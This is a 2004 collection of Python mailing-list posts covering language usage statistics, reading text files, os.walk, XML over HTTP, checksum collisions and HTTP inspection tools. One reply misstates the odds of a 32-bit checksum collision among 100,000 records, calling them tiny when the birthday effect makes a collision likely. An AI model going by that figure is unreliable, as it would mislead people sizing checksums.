Thanks Moiz Golawala From beliavsky at aol.com Wed Sep 1 13:04:55 2004 From: beliavsky at aol.com (beliavsky at aol.com) Date: 1 Sep 2004 10:04:55 -0700 Subject: Python Usage Statistics References: Message-ID: <3064b51d.0409010904.5868f141@posting.google.com> anandpillai at letterboxes.org (Anand Pillai) wrote in message news:... > Hi Folks > > (posting after a loooong time...) > > I have been contracted by an Indian publisher to author an > introductory text book on Python. As a part of the introductory > chapter, I thought it would be a good idea to present a number, a > round-about figure on the approximate *actual* usage of Python out > there in number of developers and/or installations. See SkillMarket at http://mshiltonj.com/sm/categories/languages/ . Polling jobs listed at dice.com , the # of job openings by language on 9/1/2004 were (in descending order) 9216 sql 7722 java 5007 c++ 3351 vb 2508 perl 1804 assembly 1723 c# 905 cobol 838 tech writer 268 powerbuilder 266 php 225 cf (cold fusion) 189 python 150 fortran 144 ada 38 ruby From fernandezvictor77 at hotmail.com Mon Sep 13 10:48:14 2004 From: fernandezvictor77 at hotmail.com (Ruben) Date: 13 Sep 2004 07:48:14 -0700 Subject: Not able to read blank lines and spaces on a small text file Message-ID: <2e569af.0409130648.a6aa116@posting.google.com> Hello. I am trying to read a small text file using the readline statement. I can only read the first 2 records from the file. It stops at the blank lines or at lines with only spaces. I have a while statement checking for an empty string "" which I understand represents an EOF in Python. The text file has some blank lines with spaces and other with blanks. Thanks a lot. Ruben The following is the text file: The first line begins with OrgID. OrgID: Joe S. Smith OrgName: Smith Foundation OrgID: Ronald K.Jones OrgName: Jones Foundation The following is my script: #Open input file to be processed with READ access input_file = open("C:/Documents and Settings/ruben/My Documents/Python/text.txt", "r") empty_string_lines = 0 record = input_file.readline() while record != "": try: record = input_file.readline() # Split words separated by delimiter(TAB) or separated by spaces # into elements of the list "key_value_pair" key_value_pair = record.split() key = key_value_pair[0] # Slice/delete first element of list "key_value_pair" value = key_value_pair[1:] # Join all elements from the list "value" and add a "blank space" in # between elements concatenated_value= ' '.join(value) print concatenated_value if record == "": empty_string_lines += 1 print " Victor Empty string lines = ", empty_string_lines break # Get values from table if key == "OrgID:": org_id = value elif key == "OrgName:": org_name = value elif record == ' ': print "Blank line" elif record == '': print "END OF FILE" print "RECORD = ", record except IndexError: break if record == "": print "EOF", record elif record == '\0': print "NULL Characters found" elif record == "\n": print "Newline found" elif record == " ": print "Blank line found" # Close file input_file.close() From carribeiro at gmail.com Wed Sep 8 23:07:04 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Thu, 9 Sep 2004 00:07:04 -0300 Subject: What about an EXPLICIT naming scheme for built-ins? In-Reply-To: <5d83790c.0409081810.613e44af@posting.google.com> References: <864d370904090306333b53ef56@mail.gmail.com> <59e9fd3a04090307154bfd6fd8@mail.gmail.com> <5d83790c.0409081810.613e44af@posting.google.com> Message-ID: <864d370904090820075b68c970@mail.gmail.com> On 8 Sep 2004 19:10:42 -0700, Raymond Hettinger wrote: > Carlos Ribeiro wrote in message news:... > All of the needs you describe are adequately met by heaps which > provide just-in-time sorting. Actually, I have pointed out somewhere in the middle of my message that a heap would probably be a good solution to it. I wasn't aware that the new heap library was written in C< though. But even this had left us with the problem on how to write the itersort generator as a cookbook solution. Yours seems to fit the bill :-) > With all the real needs having been met, this thread can now return to > naming debates which can be joyfully fought in perpetuity without > resolution. I'm actually having a lot of fun with this thread, I was out of Python talk for a long time, and discussing this topic helped a lot to get me up to date with a number of recent enhancements. As for the naming fight, well, I still think that the naming could be improved, but as you said, that's a perpetual fight and nobody seems to be willing to accept defeat :-) p.s. If you haven't read the full thread, please do it -- there is an interesting debate on the idiom to generate a list out of reversed(), and why many people choose list comprehensions to do it even if the solution is more verbose and slower than using list(). -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From jerf at jerf.org Wed Sep 22 12:38:39 2004 From: jerf at jerf.org (Jeremy Bowers) Date: Wed, 22 Sep 2004 16:38:39 GMT Subject: New to Python References: <338366A6D2E2CA4C9DAEAE652E12A1DE4A9007@au3010avexu1.global.avaya.com> Message-ID: On Wed, 22 Sep 2004 17:28:43 +0200, Erik Heneryd wrote: > I can't help to crack a smile every time I see that URL. I doubt it > ever helped anyone, I think you mis-understand who it is supposed to help. That link is not "Hey, this might help you, the poster.", it's "If you want any more help from us, the minimal standards of helping us help you is laid out in this document, as you've demonstrated you don't know. Further inquiries not meeting this standard will most likely be ignored." In other words, it is to help the helpers, by cleanly laying out the requirements, not really the asker. In that regard it works; since that link became popular I haven't seen a flamewar over the standards of asking for help. It has done exactly what it was supposed to do. From mrmakent at cox.net Wed Sep 29 16:41:41 2004 From: mrmakent at cox.net (Michael Kent) Date: 29 Sep 2004 13:41:41 -0700 Subject: how to get files in a directory References: Message-ID: Anand K Rayudu wrote in message news:... > I am trying to find a way to get the files recursively in a given > directory, > > The following code is failing, can some one please suggest what could be > problem here You don't really give enough information, but I'll make some reasonable guesses. My guess is that you have a directory tree "E:\myDir1\MyDir2", and that "MyDir2" contains files but no subdirectories. > for root,dir,files in os.walk("E:\myDir1\MyDir2"): Here you are iterating over a directory tree. For each directory in the tree, os.walk returns the path to the directory, a list of the subdirectories in that directory, and a list of non-directory files in that directory. > for i in dir: Here you are examining each of the subdirectories of the current directory. You are ignoring any files in that directory. So, for the top-level directory you gave to os.walk, "E:\myDir1\MyDir2", you are ignoring the actual files in that directory, and examining only its subdirectories. My guess is that there are no subdirectories, so you get no results. > Surprisingly if i give os.walk("E:\myDir1") the above code works, but > not if i have 2 levels of directories. Unsurprisingly. If there are any files in "myDir1", your code would ignore them, and only find files in its subdirectory, "MyDir2". From guettli at thomas-guettler.de Thu Sep 16 07:10:22 2004 From: guettli at thomas-guettler.de (Thomas Guettler) Date: Thu, 16 Sep 2004 13:10:22 +0200 Subject: XML over HTTP References: <99033367.0409160250.780235e7@posting.google.com> Message-ID: Am Thu, 16 Sep 2004 03:50:53 -0700 schrieb Tertius: > Hi, > > A client is *not* able to use XML-RPC but *can* send plain XML over HTTP. > I will parse the XML myself and return appropriate response. > > What do I need to do / use to serve the clients request? (synchronous) Hi, You need httplib to send a http-request to the server. On the server you need some http-server. You could use CGIHTTPServer of the standard library. You need a cgi-script which parses the request with e.g. the library xml.sax. This script returns a string which will be send to the client. You should be able to solve by only using modules from the standard library. Happy Programming, Thomas From danb_83 at yahoo.com Fri Sep 10 02:47:20 2004 From: danb_83 at yahoo.com (Dan Bishop) Date: 9 Sep 2004 23:47:20 -0700 Subject: Shorter checksum than MD5 References: <7xfz5rn1w2.fsf@ruckus.brouhaha.com> <7xllfjfe9m.fsf@ruckus.brouhaha.com> Message-ID: Paul Rubin wrote in message news:<7xllfjfe9m.fsf at ruckus.brouhaha.com>... ... > Where are the updates coming from? Note that if you use a 32-bit > checksum, with 100000 records you will probably have some records with > the same checksum by accident. Only if you use a checksum algorithm with really bad clustering problems. If all 2**32 checksums are equally likely, the probability of a collision is only about 0.0000232828. From santoshamb at yahoo.com Sun Sep 5 21:25:17 2004 From: santoshamb at yahoo.com (ben) Date: 5 Sep 2004 18:25:17 -0700 Subject: view http info when browsing Message-ID: <56d498d9.0409051725.1c7d3258@posting.google.com> I'm trying to write a web client script in python to log onto a web page and pull some information off of it. The page has quite a few behind the scenes http things going on that are making it difficult to write the python script. I think if I could see the raw http data that comes to my browser life would be much easier. Does anybody know of programs that would run alongside my browser and show the http data that is send back and forth? I've looked at plugins like httpwatch and iewatch. httpwatch looks good but it costs quite a bit of money, and the trial is not fully functional. iewatch has a free trial, but they don't show cookie info, which is important. Does anybody know a good way of view the raw http? Thanks for your help, Ben